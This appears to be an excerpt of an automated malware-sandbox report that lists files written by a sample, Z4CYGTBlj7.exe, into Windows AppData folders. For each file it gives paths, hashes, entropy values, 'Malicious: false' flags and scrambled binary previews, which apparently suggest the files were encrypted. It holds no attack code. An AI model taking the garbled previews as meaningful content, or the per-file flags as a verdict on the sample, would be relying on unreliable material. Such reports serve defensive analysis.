SHA-256:	2F8119C0F64BEC3AB6DDC850B242FE853FEF64F13FF09B63B87EF5C843E9AA8E
SHA-512:	501E6BFEB8BCA5F6C783352316A64F37310314FEB9FFC5EA5CE1D4A15051F414A64A6CA101E8A6AA7F8AE79D758A5ECCB11A0B302AD219DFC6CD51BA531BCAA0
Malicious:	false
Preview:	hy.b..C......9C..^......h............H.+...F...&....B.e.u..F.[....P..bj..w59..{.D............M...0...SY.(k.xVr.H....6z../...`.T..\....2.f..skZ........Br..X.>sn....G.,..j4..MW. .&...F.vU0.Z.....+QPH.4l.!..-......0gQ.....KX...!....5...fX2.S.<...y?.]C.B.,.1....`...;sv<}D@.0........H.....g....7....x.zc./-m.V4..\4X..aU2I..#.<..2$ ..\|.;[...}..l.\`.&.-.v......E+..^8.X4...z.?..U.......7.I....'.%qp.......^...J(x....cz..I=..q~........#.C.:.W.p...jiBi2..0.s..j...._...F.L`...Z.'p.s.yd.....afX......ja....G...M......#i..D....p; ..6{.^.4.A.T...7p....{SW...d......+...g.......9Cu...;"..g.zQ$n+......E..;.we...fq.t..<.k..!i..Jm....u....o.@..`..@2[.4........G..6....5.f.5......R..+...Ab^.f...k}......#...!......q.%r.n.d...fVd.9..xa.....q..y.F....kK....-..\|...........9..g#.....Z.k.....L..#.$.y.;^o.nT.#..u...~C...^.2.g...(...f....@:.{U.#.F...X...C#`...#..?E..=\|,rI..#u.{.0ZOg........\|h..p...,.$..2:k..]..[..e....J.o...I..=d%.a...}%...U.,.Ek.v=. ,.*{i..%....l....^.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ml.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1110
Entropy (8bit):	7.819298489046405
Encrypted:	false
SSDEEP:	24:2JtXnu4sMvu1yoSkslDjQf/qbBr8p3Wb7kABwpFBCfW0pqmsbD:2nnPvuFE4f/qlAQbAABKkW1mmD
MD5:	759DBD8CA762E34EB44A178DA9B83D8F
SHA1:	EC18AC94EE2AB82B0292981E2A1F8259BBDABD45
SHA-256:	EFA61E85BB6A1F32DBF989011BA6A2237839E7CF35A7400E795D839277378844
SHA-512:	650BD87F2DEF86F78CFCA2DFF606ABD2883842885A1A263C9CA05F34347B7D59223729E6173738D80DF89697381656529669C15E471E6DCDE0284DE3DBA2F7AC
Malicious:	false
Preview:	hy.b....hOb....4o..?M=.DA.%.n..K$...g.!0...s+.....{.R.60..m}....MG.ps...:..m$.X^.....y.Jr;..@<...@.).....9.zU`.5,E.6...... ....3.!u...w....m5M.\.or.......6..U..N.;0::}.^..n......I,B.B..B].j.B&5.Z..o.......I.H.KK...$.N...I...........Ct..\|.....O..a.....[I..w.[......9...[.Tp.....\.2...._...n...z..=...............(;.t`.......`O.r.1.z.\|..9t=2.*th.hZ.R..@.1...............)V.u.".......{...W..oBz...G".]..\|...fP..o...8...W.E...~t...Wt...;.)..?..s.\|9.....3z..!Z..)....$.F2o..../..1_..S.......f.pj..i..8'...`.>.....q..L......X....]..............1.,.p^7.9....O.7.CF.h..B....g.j....fq..y?...7..@4.G...1....."..O.....c.4 ......[a)..{5E...d{...)QS.GB.qBG?1..Q..On....B.s.s......2..$....uZ...~".5.B...2v..LC.....+......-..)..6z..(....j.m....BT....Fd...=:........'^..[x#.....-.>..o..1K}.X.c.+....:...-r\|....a.-A!......c.S.@.....t.u......8jT.j).]......7r.b(93...'R..,.8/@.#......./..]>..[.3.t.c.Y... .\..GV.=-.....33.N...g.j..{Zl%...M. Le<.;..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-mn-cyrl.hyb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5476
Entropy (8bit):	7.963101769584304
Encrypted:	false
SSDEEP:	96:oI5oIhPqwsp1a/Z2ABYQym1FGDVG/bvooqrE7cKBv/V12mW8Q1oXEPO5H+:o0hPqkljym1FGDAbwjrE7ckl1DvEPON+
MD5:	C4F15D19D5E1891DCFA68FFD94B415B7
SHA1:	460B25D8C9A7FC35DB0EBB7FE0CECFE9E67A9AB7
SHA-256:	20CB6FEEAB4EDE6DA1AA394DCB7F0FBFB443AD48284F8409D33328969722C54F
SHA-512:	ACAB829DAC711F48A9C300A642ECFFC3CD6275D2AC30EF905F5388987B8C786FCE6933AE2772A86B528DDCADCA8C40B2D8125463221845C0A486E714D7EBAC0A
Malicious:	false
Preview:	hy.b.]..._..c.}5.-fr{.Y[.x}L.5.JO....a..!3bFk ..&y..........}R.Z..:..;# b.8bW..\.2......>.7.@"s..5....#..v\..Np....N;..p.b.m..p%E+.............&.+,&..~[.)..@.).d..../..\|.RL.....0..T...R{.u.u...y.5.L....Q.g.U`T...S.8.U.\.,p1m....`0...{N?.ri0......L....e8B..ou..\|....Y.t6.m...w.mz..q.A/./...,....Aw0...I.....cLo..I~fhN.@../@Fv1b...Y...K......rq...DX...%.W7b.h.u.\...]5..Q..Z.>CT&2.]..X.I.N8....;...PUh......G...tLI..8&..j..........&.r..1....I...n..rm.T.4..Nr..W.s.....C..!R&....4A..U.8./.m..Z.&@.....^......'!Ux...]`.3..!._...\|.!.-.2c..b.`..V17.d7.X.(...y.Up<..U..8.{..f.j..D.Mf.=...../.e.Q....'..........?,l.Ua^.;......w.R:..\|.Fv......AJ.QY.t.'..F...r.[fr...P)3W<.T.....w7.9..%.B{._n.~.@..~.x..'..<A.K1.R...sc........?.k..S....a.....\|.......p..].....K%;.......c...&.lk38+.R..t(............60S.9cV'a.+.e.gC+B..;...O.C..I.s(.=s9Mm.e.4.E....2.T...l....5=..9KS{.lL.Ri......`....x.......s.5W..x.3..]..C.~(......../..j.SF.(...../(.p;.G GUf/....f:_.7..*a...x...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.905415179004801
Encrypted:	false
SSDEEP:	48:Pnw+RTngg3oNL4c5tBt1fSdZcvDOzSDGwF6XYzuSimD:PnZRTngg4Nkc3l6dZA8Gwozc+
MD5:	5E8FA3E2E61F30B9DBCF7A0A93483120
SHA1:	B8E90D111A771996C68D3D7DDA360CAF6B96691F
SHA-256:	D4854455A76A859A5585639891FE795D32A2EC6D43B022623BBD952540850C05
SHA-512:	E34570DB0152DCEED31B3FCC0603850FAF1BB250D612A58C5A6AF8861BDD1E97BE3C6B7734DAB037779927535099DD2548AEC15AF83F99E410D0E5CCDA981C6C
Malicious:	false
Preview:	<?xml"bg.!V%.`.0V...C[..j.Z.V.x%.....OK....r..:M.FaD.A9....D........FL!C}....K...U....gc.....T.0kp.Yd.P0.+.c8....0....Q.N...%..0...Foi.......X...W0.q.....q,.V...lb..Dh.~d.S..x...3\.pT7k.H...C.!..@MX`.we......?m..f%..)R.e}.ikh.K........@M.?j.8..F....C.k...U.A.....l.?....E.EE....;B."...\.mC...S.Y..I..JdD..'.....V..R...... .E...e..v.;.Di.[.....+...].....c.M..9.&.=(M.o....C........A3{ ...9"j...2.......c.,L....vBZ..J.._N............r....@#..P...o..e.h..%...R..`.f.uu9....n.Z`.e,.........K8..U...Fz.q....W.U.8s".1. .<$.Q.......U.:...75..e.RJCP..X+9T\..q.UD...en...@..z.\|@_.R..r.tx.g..$x..[.:m=...m..... `........M..."...<..}.2.t...z<\..k&G...D..u......\&.y-..F..e.HA.CPQ.w%.....]........?.......Y.....W.....l...a...8......O.......{.E..yi......tj15...JW.g.L(..k.&..IN.b-R6]..Y.....4.........c..3...5...a.(P%.'.......za=A.(./"*.............9O.x<gy...e...!@..w....r.@Y..-.q..(T.e[%.&.C-.......6..,..b........Y...`P.B........O.b....U.).5C2-.M

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981265993779118
Encrypted:	false
SSDEEP:	192:KI/iS+R2MWhFG2DYCR8uJr601vqHxzyfLMmV/A8yl3ozWYCVaK+:K68UMoFGW8N+iRGTn5ylYzWpVs
MD5:	569C224DBB15C189D261E090A9CF1236
SHA1:	AABB1270669BB98992CB2A396D1420F8AD58E7B6
SHA-256:	D3312BBAC9202523939E8E6390D5B82E063914BD8D3DAB6FCA8FEDA343BD5877
SHA-512:	8564714821983A95849FF4837300755D9BD2C0BCB3D99C7B83064201F4E8ED1EEF0AB62158EB5AA940B9B8B271DB72773994EF2E0ACF93DBB5DEC81157D17087
Malicious:	false
Preview:	..E....0.P.=6..+...:\(....E.OP.f.E..C4m..cv...C...>..m..t..M.B..o.e.?%a.-k6.1.%E.(........-++6..}.+[}.....S...?q../.7>..x]G..M...!.R..(....&..F0............0F._JPGs...L....G..j^T...~..7..61P.T......&...+..F\.../<`...:".3.`N...-...<B...-(...?.([W-.p.....S...+..A.jt.L.y.q..A......%..J..ari......6...!.5OB.C.#...W.......m..0...."fM.'......e.89...Sy..;X.. .0.S.>Ap..o+h..=.....sPT..?...l"kg.q...sq.e.6E.DV.H..Dh......[.0..1..L...3@K.PhN.#m~+.ZLr..048..Ps./g6.5.<N....(.(.....m..........O..+.............X.A.$...+". )..gG.0.>/....7".uJ..C....j..f%pm.....D..}U2.B<.`...x?.u.l...Y..K.#..X..d..Z....`q.....z;...\~..nW.v..5#"......-..l.0.95Ax...".'.dh.p.n...QQ.2.S..].....e.T...T.h...Q........6..O..~j.5&.0.~).{.am...r...I...P8v.N.#/7..F"...&h.T.....-.,.. ...T....y... r.`.).o.Mj.ce......a...{..%%.s.gDW..."9).nh..l=IU....X#.W....]8Hn&H.E.......}..^....T...4..B..9.F._.w.p.PC.aqa..6.}n.....~....=;.dq......k.2F$....o...\|N..~gC.o...,.P.t.f2.d..&.....t.'_...}.!.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.959055311561821
Encrypted:	false
SSDEEP:	3072:AN04k4TkN5e0PoZl1I3jhIsqLEuBRcbbXczeXl2OrIc58HvI9jr/xdNiTCARzDSP:8TtiPom3iswpBq71lIcWHKjrpgfhm
MD5:	623D159A360E1B6657861D55949C39C7
SHA1:	4F2A1723302636582D39497ACC5412B6979664A9
SHA-256:	E289F949A2EC15C66872A23E3657AB7A06A787EE31BD6EE480F50F376A7660FA
SHA-512:	381F2215B04D35793A1CCF14BF3815526CBC54D092D3829ECA317F0CB85B104C89D8309ED82222EB492F1828EF507297B842481D92F45F53848F79757AD9DC32
Malicious:	false
Preview:	?.8T...L.R..n@.69..)(.....4l`...M....Q:...A-.F.t..9u...i..8..R..U.....Ue.:.L.FI....d.u..%.Z.3B&s.......G2....q..w....r(.1.....6.~.....LL.kJ\/s..t.I......!A..t..!...V....AzQ...9.....{....x.R.{..R...........SC7....x..#...f..c.L..........Z..'yqm..O;T.....lt\.%..."O....1n:..3N].Aze.+e-5h..\....B..q..P..02?...-...{...gn^\|..z...\^.I...[.h]..f.m..o.....4XN..X..A.....Y.C.x..}...%..8..P"Vz.R.&..U...-..L......D...#._.b..+}.......2..yQ...?.{hO..I......X..N.p.D.....}8y0...o.M~..DPJG...-.$a..j....^..G.x.Y..>.e.b...!.).[...?K..9..48.....g7..4.d..K..m..2..Z...[.e.eo.~....0$J.........J/;i.V..0(...=....C...S.Qy.PNC..s..G+9tyE...S...z9.... ..(..&.J.HJH.E....).'.j.w....'B..2...-N......=..s.M......;.....cS}^..7vq.\|......B.:..r.Tya.V.".M.D.."i.a.`=7...z..w9...]7..n.5..Wj$..Y......m.n-Ij.X......T..'0f(.g.q.C. .r(1...IF.b*....<-....`z....5_.>...c........7r.'-ljv...#g.A....nc.3...4p..YN.K.\~H....$...Aqg........-4..5..U#..p.u..T.c!.u...JP.B..M).......F.....".

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074533772967846
Encrypted:	false
SSDEEP:	3072:DE9DtULSIlJFgQYuDV4jfYFVhLjAoBsHfR6D3IfGmgljLtzraup1BQc:I9RIDa2mjgpjeyIGdLt3aS12c
MD5:	87D1BAC51FD20BAC900E45199EB738E8
SHA1:	99ADD085227E3B7AF0D756FD2D01AAA79A258616
SHA-256:	B92494A2555A3BBD38F3571EDAD5275C1469834A941BBF332E879DBA06FBFC11
SHA-512:	06A45D1E183CBF1613C51E64EDF118589E14393399119024504D31B97B9AE928597EC8AEFEAEC56EBE88972E5E06D20D7B74354246873232B58437CAAB165805
Malicious:	false
Preview:	........._`{.;.`....u.!.YJF..t.83...{....{U...U.L.PM.gY9...:...X...e..u.t_...P{R..X=..O....i.e:M...F;k.... ..............b..O..B.eU-...q[....tf.W.......K........>.\...?..\|........?{...j..7S.M6.t.)....y..~.#.c.s3.V03....C......X..[Ob....L..Y0b0...i....4T......I..Ly...P..}.!.n<x..s{\|..._9)..tQ,.k....4\|... .!..D.z..;^&..C.R.Ik'.B_..$..nl[...X....-<yqs.>lQ}....,.." ...~..k...w.Z...om....!....].e..S..i..K.=F.....:0...p.T.h.P...1....`..a...Kr..d...#=9....#....$g..."..r.p......-W..V'M.2Y.p.^..Z....HIF.6......O....F.N:...r..AK...,..(E...Q+..".0..x.~P...O..h..4.E.<.#.-...g!a.c...U..+A..j..0.\;9.R.GY.}.c.H...T05$.....v..&....X..hb.Bw...v..SZoLg<.v\U3u@(B...o..g.......-...z:k...B....A.B..WSp.(......q7..F.w^T.,@..X...1.,.FK2...A.v..Q.1.K....:F.OpGm...l.Q)....HK.....K-.7L._..X$..^..X..\|g9Z......tu..W%..%.n.. M{<.'..\.....3C.R...5..D.c...v.e+c....lf......s..fy6/+......#<.x.v!O4....3.*4.B/.."a.>..4...8..}a.E..l#W.....ph.f.{.....l,....d.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2071289495684887
Encrypted:	false
SSDEEP:	3072:zNK8tkJwBENAmuMmlC8Ghx6PMTMF6ovI3B331MKYBhx3lIRftd7YR8HyL:z9tCTupGyPMTCLgB331M3hx3KVnYRf
MD5:	0D5ACE11FCE284C188BA9E60A65DF479
SHA1:	FDEA9E0A0F6B1AA8432179958C7DF7277FAB7506
SHA-256:	FD053569E0195BB93929C620FEAD673930966053C5BA0BF4200AA0F2932E10A4
SHA-512:	5A49AC3D45C6C737B393639822A5296B8EA3E7FBBB2732ECAFDFACA01E6C7164BA51E7D693C9599AECB96A1D425A4FC15301089BA4B8B0D13788057E2EAE2227
Malicious:	false
Preview:	.....]...v .G..dt6...{.IJUj........%.G~.......5...z..t....~5..3aD....X.-r5`H...y.Q..w..&&xb.\|\....S.....x.N.h.Z.,.u..,.J3-5.=;...\|..!-k..F.94"aLE..\|Y.>..x-..@?.vq......gZz.]_..[+.q...;.yY.....P}\|..v.Z...nJ ..:.=.....".;.......W".S...........'$i..>......~.R.......[..]{....N.{....@..Hq.kL....YJ.l..;..w..HT.])..\.C(.t..\.L.].n..D.0P.&..5.4\|..j......?.4^.........d.....f......OOZ....Ye.h.......O.}.......L,.H.../Bc......R...s.9%r...H.Q...nid\..8.X.-.<. J`......k5.3T...'.!..@....X..(xQd..?xF..j$c...7...]........._z..!....\|.v.$.0R....:.$..G.?.!.....,....6{.I....Z&.u.+....JS....1...%....nI.........2+UJT..B@....G34....=d.O..G".e..X.Z.em._....6.t....CE..2.=ae..7.k.e...!p.U.M....m.`...tH....!^.bh.e...@!6.5...j..0...\E..P+o.aA.....-#..F#.6..+^...\|;nw-...'.fIz...rz..h/(.5..N-...#..._...W[<.r.X.J.,.>J...>.......\|.D.Q.....=.qr.....m..N.j7.+........2$.UDE.^...KGY..i.".T..5{k..>.V.+.[k...,... ....-...4.9..8.xbYM..}....^.xW..................\>....@.+..0...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2073783017413358
Encrypted:	false
SSDEEP:	6144:zJ9ksYYAdy1erb+Vf7onL3fhjKnzAh+Pe:zJ9kMAbefGL3fke
MD5:	68AC643D15C2AD3F9C9FEAEF66622E2D
SHA1:	A5F6925EED6F70CA423A5C730891CAB3C483A94B
SHA-256:	8DE6EB61ABAE16453CC6226F14F890B454FB80DD830699E59E2E92A4F4AD910A
SHA-512:	48BEE4130433449F637CEE8FAB663274E8C062B805E2A5976E3DC11C873E77BF115EB47F99F88249602AF11DA40C6B2C10675E3408D844955C9CD445B9255CCF
Malicious:	false
Preview:	......D..h....[H.....+.u...........\B);g>.I$.&.>Pzmo.q..:.......?....z. ..J..Z../x\|W$& ...uD....RO+f).y.T..o.F..z.= ..[.....j....T.;}!.[7.BkB[.72.:.......S...2G;....\|..Z.vk..SF...Y.~.:.n..C.EB_E..P.No.$Q>L....LY.V..Vt.M.y..;.Q........>.....~<..{.6Z.h..AB...S.2iD.D.N>W...?E_...>Jp.!...F].cE..R..,W..Q.....=....}....k......i...I......^.}......q.5...8....[D$...(Vk..\.o_>.............h{..<..cF...Q'iW{..I..........3.My.......&..:S%...o..#.gqh.9H..p.}..hx.w..v.D].\(.....Z..X,.Q.C).SRn\|L...q..^.....L....\|...[.aQ......WS.?.={.m...xT[U.....'.'..Es..m%;...N.%.......VO..i2.....6....-.&.h$ib5.)N..T.0..NG....>..@\.>.A.!...p./...Q..^.....k=..Q(xQ]43.`.>.'.kp..SQ.....\.B?....s...oc:.Vw...B..J.X.q..2..hi{....@.6...Q....N]..t.!?...A..(...H...->e`1e..zP.+GZ...}.Zx..E.ki.\|"....^D.....q.q.{."..UB.....).o......p.Yf...)....,n!........\|....u....X.k:.0$.\|....t..%x<'.....w..m...-...Z..s...Z^...1..Z..X....4X.."E..l..O....Y+......r...\.S.d:)..4.f.v....K.!......0...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.947998721418248
Encrypted:	false
SSDEEP:	48:Q6lurN42X0UAcPiq/RRLtTW4HeyKnOWGVGr9uT6YQNgFysP0lZpJmD:EErcagROSkOFor94VGB+
MD5:	460311777538D2EAAB320C923496DA32
SHA1:	23C7D88FC5FEA65A26FE3E7DFC401D4796C07D34
SHA-256:	FEF55EC11364A02F77F0AFF813D76D1BD278A3102631B6C7C736D526E19E7947
SHA-512:	A9F388D14CE8E859AE3E9B46A8F97FCEAA53FFC57C8DC3CECE5BE7A261325703BD3B39E6CCB046F9049D3573A9A58BB485DBE5B92DD2FC364BBAB05590B13171
Malicious:	false
Preview:	<?xml..BX..$..[v.....`...J.^.......i.k-..Y..]S......7gJ...m....Z.. X.Q...uS........v.Bp..7.)..&.z......".GW......#.;..........FS...l.@.C..1..y^-E.C.m.oKW.,..........Z=.o..............f......uWu.Y..[.....^).....e&..u.$....nva..m.Z.E....g.XJ.5.L.\|.%=....Q.N.)..}..,..../z=6BJ...,ps.'/=..&..9.K fbIT....}...\|.G...K.B...,.]...]i..L.".&.O.....E;..'...{../..$8.P,...t.Q]z.H.5.l.-...3.[..E...J...Z\|Q..Ys.B...."H....x....2.}...R=..-.. l.)E.. .jP.0m...q.T.=.R..D.w0...6...+.C...?....;0...{..&...F....=cV.%...z..`L.....r1Jzp...k..SD.@4.P6.d...:5...b.N..=...2!.K..(#....D..:..F.T..k.u...(..<>@.CVR....._..z\Y.0.Ce\|....,..yU.@......J!D_I.T.?.3..f....[u..+..rJ.v...0.:....VB.4.v....9..?...yH..=.zi_.g.yE..b.'d.....J...Y...Q..}.-......8K........[.L#..HN.2._.._n..;....0z.a....,a..s..)...*.....d.;....l..5S.E.~...'l5;.wKy.M.......ft..I.::....Z...=..".Y.`<.feMt........2....Ay0.j`../..S...a&....V..K..Z.D..r.`+.jH....\|..M.e1+.-......._.......B.2mP..x.n.-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.529893431131786
Encrypted:	false
SSDEEP:	12288:TVs0EzBH0brgY7pHIXSZlV0N8x5thr291gess3TylunXV:Zs0ElHG8iR6
MD5:	16CDB67DA6AFAABEE6B3FE6AC37FF877
SHA1:	74AAB5F4358696B7278AFBB16DCAD1496A08D4A2
SHA-256:	604520F582AC57A2318C732C41B02ED7AD714BA6C96253BC0A95C8F7269DD190
SHA-512:	9C2BA66D9430C466CB5D869EB5A4DA530BD509DB5A5A7410E0F689E787DF35B13D897132A1A5A27E74CB88641BBB73218B2F6A5C1B067FF2BAFE44BE01693BAE
Malicious:	false
Preview:	<Rule.\|`s..~......./w.....I....A.....-..r..f/......C....Z......,#oB<....i[..&...T..:...b..YU...............}!.^...BH..O.Y.....\|....,}g....Z".@....K.J....O.4RF..3......hR.xu.......~E...or)D..........{.6....M.1>..c.0....E.....E.4...._.....ud...Us6H.G..nYd..Po........,.(D.i..(.`.l..O:.y....5...F.kPQ.....P3.Z%.a.[{./...U...#...t...k#...z.:.e.P.(........a..X.....\...z&...M...............-.a...@..JN...\|@...YL....} .w.1.-.g((.H...;G~l.%t.m...d.V.U....X..?,..!..y.J..F...H..@.O../.7...=N;NLyq.{...I..V<.....0VX...4..b........3<..OJ...C.......P.v...!)l.^g.......a..n....x.......EI....0G.O.NP......B.3<..+};.H....u....W,NM...MQ.QJ. ..5.. 0m..`..[.Q[Z.A.......tH.N...L...~.$ePL".....+..0.k...T....'.h...=....==E.8......b.z.n.s(.4.d...p *...u...`..c..o9.[.....@'+....8x..Wk6.)....)..../....Z8#..6...acIp..+.]/$.I%9./.<l.c.].S.I..o..C...p....}.7.z.?...c....J.Qc.......qSZVl..K...pkMu.s...1.V..L."`.....m...H.yY6..r.B.#.U..y...W.B.n5.S.....K../..tR\|ZB..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.874889787551752
Encrypted:	false
SSDEEP:	48:Oe3jKbrLUlwusCG0UeDfDG7Oqs5dRKxFLrqmD:hjsrtuGsgFLW+
MD5:	2EBBD983D8CCBDF3A548D5FF20B5FDEC
SHA1:	DFA5451526D0D3A576924CDD180AF81754C9BBE2
SHA-256:	BD726FD71383DA5C191FFF939C9BEDFB41E40A28DD84B300C4CD046730466E7E
SHA-512:	C30F891E8FF7D2422F089CF275C97FE4DDB93472E36168938B296DF816C477EA09E7481A6164D05BBC846573BC797D84A24BF0ABCDCBD930B62909823D657D57
Malicious:	false
Preview:	<?xml.=d.......q.&.q...F.!..b ,..2..]....w...}.V.@.5.u$4.^.ms.......fKc.U..6N..P<'s.........\|......:......n......R..'r.......H.....Si...L.Y..\|f.G.....\|....>K.....Z..l...\|..C.....t...:I....sAXR.rrc..uZ.6... ...64......3-`j.Yh..{U...-..........B...b...c..d9v..b..E..E...}...3S.....P.).Q...p.U....F)..?...b..:0+.2.'.'..K.....p{AN....M.la.,....k... P...F.F..\.`r...0f....z{[........h.;K.....3...Z<..j'h.Dp.F3..R......;`r..G.%.....\|...H........s.&......x.....3i.....q....Fo%o.........ye.M.,Bo..,<.g.r7ZR8.$o."}M..X.h/._...............,...s..$.?m...tZ......J..~.....h.2.\....~..Ue./.Lx..d)..R.././]..v..v...S.b..@..o..id.H....u.G".u..L. .s.)..=p.z...ty.....~..;I......l./Jw...`.j.4...i..=....mS{].a.K.6Wl....... ].T..m.T.=...j6h.d..z..Q.-....R..C...~.m.).?h.....8.M3..9..P.. ...!.D.3.1-......m...O...jv...xi^..v)...&..0.@1.<..vv......w..O)..G..<..X....;.Y...........vH.....X'..e8...o...G.3.Q..T.2wE...9.d.......hOf..X..JO.".\|.c?,aC........).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.929766081674359
Encrypted:	false
SSDEEP:	48:O+5fqQa6hx2sCt9Bldl9YepInh2yJCe3fXwKJKnIKRiklSZ1alO8TmQFGiaylYl+:DBqP13Wemh23O/JeIKRHl/O8TLaGe+
MD5:	30D9325D3E5A1CD9F087005B3EABC049
SHA1:	83E074069075DF382C6D9FB36EC141AD996BB09A
SHA-256:	3D2417500993881CE612A63F8F11056FF54410CA44DC486CCACA2D9FB4802BA7
SHA-512:	12AC46D6576D97379977D1D51EE9B90D75ED4FB09D2E933798ED0467C9B4D1EB99FCD7CA618FD31B43A1BEA042A7A6C5C3BB4C6BBBC53CB9098EC68F766FFFD8
Malicious:	false
Preview:	<?xmls6.A..d..........]...P...2v/....'{...3....a...X\.l..xS ...%.].........75.....?...w.....?..P.7.Y$l..2.i.^P.eg.:.\T.J...I.G...0.V\.....UX.c..?...C.r......_-.w.[.A...`.T..._a....2.,...)..'Z.p...1..j..?.....SS..1....._.Z@...#...\|PN~.-...u...Z*Kj...].."....... ..i.....X=a.&\.&v>.SW..\.+g.-........+.......Q8..+..<.;.;..'.m<...z...<\...D...sr..)...?..L)L...\..0.YF3..@..W3W!R.l..,.x.~..1..K..\|.p.MH....~K:.Tsg,8..(..;=.V$`C..?S.N#h...3.N.....'2..jB..cQ...h.#r..B...V....2".\|r.Y.sA6.. ...7t'.:=fh.a..l..w..J.h..2p._..L..N.....1..P......N....2)%uZ.W..LN..#4+..r...X............D..4..5..'..K.p#/..=.w./=....w....GfV5j..[.......V...5....zU...w.o.....i<.'..f8T.`.y...G+..7.B^2/...b.x...o..Fu..-..Qm.6..`....DA.]mC+.a~..._...@..jN....}Z.&.U...y.......;.......f..$'DR..;.....6.><.....v.(a.)t...u}5.V.....9... ....>......t..W.,.GA..:....HR<..H.Q.$/...".=C-.i]....>....n.-Y..J.....H1.}.....1?..g.RGVC....K.i.(..j.~..J.^Z..........j....!.+@.BL..D.l....s....,

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.953096642949798
Encrypted:	false
SSDEEP:	96:TasNDWk0w6RhLROAKlfT5/vy6sKskeM7PxFNgvQ9AFfDqMCN4J+:lJWDLlKlr5/v7Vs0xFN2YGfYo+
MD5:	5039490966E84C74475622CA85495BC1
SHA1:	BB272F88157815FE0E3B6791557AB4D2E38717FF
SHA-256:	1D811566A37363FB1D3C66DE2D2F8D810ADE23A8D707DD524540A9D480591FD6
SHA-512:	FC7AA782D9ED18D7284D84A0795C984CB712FF616D4E0582A0662F7FABFAD65BE7B783DA1B9F5FBB3A867BC1D55AC5B1AB98758A823F39CA94405204E613746C
Malicious:	false
Preview:	<?xml..../....0..1...@..p9 b...-{2.T.....ZEBp.....\..X.eY.c...-...'XR.Y..W.>c^.Gv...c....r..W...OH......0..M....).pQcZ..."....zLC.Lk....0.^.W../.bW.K..WB..i~..........y.0..........2.i.N..../_....I.>FK.}.\|..o.[I.....~...<"..>............H_w"n8..)..3l.....^t..yEO.......k.aG./S.#m'..%.......;).V..k..J..%4.T..i.>UY.n.q... .....(.E......j.\...:....i....X...i ........U.......t.Z.S......q...../.\|..w.....\|.&.Pc......J..c.4.]v...~F...]......[...y(.....Q.U^..m.F.s..t%.#.....r.6...X...bXn!.]....G.'.....2.%.....`.....k.zTN...=.....].0.]..I.tM....#...EIW..o.Bj.......+8t..;..S.x.......W......b}x.O...........K.:..(...5...#.)3.v..WH...9_8...n.%..$.b.....u+c.I2.L!q....kC! EU11.Wn$..62m%..n....{.1........(........rz..3s...JN.......-.=.x.?.<M.q.o.E.U.F...o...rX".. ..>.D.T..LkM&.Yb{_....H..6.c.......W...bt.7..uh.....Y\|.p..T.=_.\.Zv..rKo..d...o.J*..a...Br....m.gY..K.&...~7...{..$....?-..UN.T...g..;~.......^.....N.h.....U.....p.9.p.......E7-"...........`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.975187674594728
Encrypted:	false
SSDEEP:	192:BS45BDkGSJ1uKZ1ukgtDGN/YqNlg20yWaP8GUbEh+:YQIGwuKu1tKjrTrUb5
MD5:	AB2797721F506C517C6E2758C3CDF17C
SHA1:	ACB75D133EF7AFE160DE18DBDEBAB533875B4197
SHA-256:	7349C530A0A4FC6CF0825DF774FD017D56D216929B9A6420F64DBDBF155B20E5
SHA-512:	320942619D60523F6BE9467CD5D5CEAA184942EBBF3D4ED4D8CB9C91355A5DCFD875DEAA9BAB6C9C15D94369CC546358346F7907E963B489A87724E9071AB39E
Malicious:	false
